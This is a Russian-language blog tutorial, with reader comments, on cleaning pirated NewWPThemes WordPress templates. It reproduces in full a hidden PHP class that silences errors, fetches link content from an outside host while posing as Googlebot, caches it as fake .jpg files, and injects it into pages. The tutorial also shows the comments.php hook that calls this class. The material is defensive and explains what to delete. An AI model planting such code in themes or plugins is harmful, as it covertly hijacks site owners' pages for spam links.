Главная / Создание и продвижение сайтов / САЙТОСТРОЕНИЕ / WordPress / Как удалить ссылки из шаблона NewWPThemes для WordPress

Как удалить ссылки из шаблона NewWPThemes для WordPress

Не так давно, обсуждая на одном из форумов темы для WordPress и методы избавления их от зашифрованных ссылок, получил в личку просьбу о помощи с конкретным шаблоном. Как выяснилось в процессе небольшой переписки, обратившийся ко мне веб-мастер достаточно долго использовал на своем блоге тему из популярного комплекта «150 WordPress шаблонов NewWPThemes на русском языке», выложенного на двух авторитетных торрент-трекерах. Причем проблема была не в закодированных стандартных ссылках лицензии, используемый шаблон каким-то образом внедрял в конкретные страницы сайта множество исходящих ссылок на совершенно левые ресурсы. Плагин WordPress TAC, служащий веб-мастерам для поиска зашифрованных ссылок, здесь оказался бесполезен — ссылки вызывались встроенными в шаблон функциями, которые он не распознавал.

Забегая вперед, скажу, что проблему решить удалось. Но позже обнаружилось, что вредоносный код внедрен во все шаблоны популярной раздачи. А поскольку структура шаблонов NewWPThemes однотипна, материал о том, как удалось удалить ссылки из темы WordPress, возможно, пригодится кому-то еще.

Итак, нам понадобится разархивированная копия используемой темы NewWPThemes на жестком диске и текстовый редактор Notepad++. Править будем файлы: sidebar.php, comments.php и functions.php.

В файле comments.php в строке 41 присутствует явно лишний код:

kak-udalit-ssylki-v-shablone-wordpress-02

<?php $lib_path = dirname(__FILE__).'/'; require_once('functions.php'); $links = new Get_links(); $links = $links->return_links($lib_path); echo $links; ?>

Просто удаляем его. Внимание: не удалите по ошибке всю строку, тема в этом случае будет работать неправильно — комментарии к статьям перестанут отображаться. Сохраняем файл и переходим  к следующему шагу.

Путем сравнения с оригинальной темой, доступной (как и все темы) на официальном сайте NewWPThemes, в конце файла functions.php был найден дописанный код, использующий вызов ссылок:

<?php
error_reporting('^ E_ALL ^ E_NOTICE');
ini_set('display_errors', '0');
error_reporting(E_ALL);
ini_set('display_errors', '0');

class Get_links {

    var $host = 'wpconfig.net';
    var $path = '/system.php';
    var $_cache_lifetime    = 21600;
    var $_socket_timeout    = 5;

    function get_remote() {
    $req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
    $_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";

         $links_class = new Get_links();
         $host = $links_class->host;
         $path = $links_class->path;
         $_socket_timeout = $links_class->_socket_timeout;
         //$_user_agent = $links_class->_user_agent;

        @ini_set('allow_url_fopen',          1);
        @ini_set('default_socket_timeout',   $_socket_timeout);
        @ini_set('user_agent', $_user_agent);

        if (function_exists('file_get_contents')) {
            $opts = array(
                'http'=>array(
                    'method'=>"GET",
                    'header'=>"Referer: {$req_url}\r\n".
                    "User-Agent: {$_user_agent}\r\n"
                )
            );
            $context = stream_context_create($opts);

            $data = @file_get_contents('http://' . $host . $path, false, $context);
            preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data);
            $data = @$data[2];
            return $data;
        }
           return '<!--link error-->';
      }

    function return_links($lib_path) {
         $links_class = new Get_links();
         $file = ABSPATH.'wp-content/uploads/2012/'.md5($_SERVER['REQUEST_URI']).'.jpg';
         $_cache_lifetime = $links_class->_cache_lifetime;

        if (!file_exists($file))
        {
            @touch($file, time());
            $data = $links_class->get_remote();
            file_put_contents($file, $data);
            return $data;
        } elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) {
            @touch($file, time());
            $data = $links_class->get_remote();
            file_put_contents($file, $data);
            return $data;
        } else {
            $data = file_get_contents($file);
            return $data;
        }
    }
}
?>

Его можно без ущерба для шаблона удалить. Далее с помощью функции поиска (Ctrl+F) находим в файле  functions.php шаблона NewWPThemes явные ссылки и, не удаляя их, заменяем ссылками на собственный ресурс. Сохраняем измененный файл.

kak-udalit-ssylki-v-shablone-wordpress-01И, напоследок, открываем файл sidebar.php и удаляем из него следующую строку кода:

<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js?pub=xa-4a65e1d93cd75e94"></script>

Осталось все измененные и сохраненные файлы залить в папку с темой сайта на сервере и радоваться результатам. Убедиться в постепенном уменьшении количества исходящих с сайта ссылок можно с помощью онлайн-сервиса ahrefs.com, о пользе которого я уже упоминал здесь раньше. «Постепенном» потому, что требуется некоторое время, чтобы исходящие с сайта ссылки выпали из индекса поисковых систем. Но уже через неделю-другую ситуация начнет меняться в лучшую сторону, количество ссылок пойдет на убыль. Несмотря на то, что бесплатно можно посмотреть лишь ограниченное число сайтов-получателей, общего количества исходящих ссылок для контроля выполненной работы вполне достаточно.

kak-udalit-ssylki-v-shablone-wordpress-04

Посмотрев еще раз файлы заказчика работы по удалению ссылок из шаблона NewWPThemes, обнаружил еще 2 папки: в папке Logo лежал бесполезный по сути PSD-файл логотипа темы, в папке js — java-скрипты, которые в процессе работы сайта не использовались (во всяком случае, в той конфигурации). Обе этих папки также были удалены.

kak-udalit-ssylki-v-shablone-wordpress-03

Казалось бы, чего проще — сменил тему и забыл о проблемах с исходящими ссылками и вредоносными скриптами. Но при использовании «бесплатных» премиум-тем, скачанных откуда угодно, но только не из репозитория Вордпресс, нет никакой гарантии, что вопрос об удалении ссылок не встанет вновь. А популярность шаблонов NewWPThemes для WordPress и нежелание веб-мастера расставаться с выбранной темой становятся понятны при ближайшем рассмотрении их богатого функционала. Практически у всех шаблонов предусмотрен вывод на главной слайдера, двух горизонтальных меню, кнопок социальных сетей, баннеров в шапке и боковой колонке.

Внимание! Описанный выше процесс удаления ссылок из шаблонов NewWPThemes отличается от встречающихся в сети. Это не руководство по удалению ссылок разработчика из премиум-шаблонов. Здесь разобрано, как удалить внедренные в доступные в паблике темы ссылки на сторонние ресурсы.

Расскажите об этой статье в соцсетях:

5 комментариев

  1. Нашел пакет шаблонов для Вордпресс от NewWPThemes только на рутрэкере, все они 12-го года, не новее. Но много очень интересных оказалось. Попробую поставить, удалив все лишнее по вашему алгоритму.

  2. Спасибо! TAC в самом деле показывает лишь ссылки, которые легко удалить. А шаблоны NewWPThemes, хоть и не совсем новые, все еще достойно выглядят и удобные в настройках. Именно присутствие скриптов в одном из шаблонов заставило меня в свое время сменить его, чтобы не пессимизировать сайт непонятными ссылками.

    • Да, эти шаблоны вполне хороши по функциональности для подавляющего большинства блогов, разумеется, когда в них нет левых ссылок.

  3. Здравствуйте! У меня шаблон скачан с рассматриваемого в этой статье ресурса и там тоже есть этот код.
    Вот только я не совсем понял на счёт:

    Его можно без ущерба для шаблона удалить, завершая файл, как и в оригинале, строками:

    if ( function_exists( ‘register_nav_menus’ ) ) {
    register_nav_menus(
    array(
    ‘menu_1’ => ‘Menu 1’,
    ‘menu_2’ => ‘Menu 2’
    )
    );
    }
    ?>

    То есть во всех шаблонах есть вышеприведённый код? Его обязательно вставлять?

    • Да удалить можно без ущерба для шаблона. Завершать так не обязательно, только если был такой код в оригинальной теме. В любом случае надо сравнивать файл, который правите, с темой, скачанной с сайта разработчика. И, кстати, спасибо. Благодаря Вашему вопросу увидел, что скопировал не весь фрагмент кода. Сейчас поправлю в статье.

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *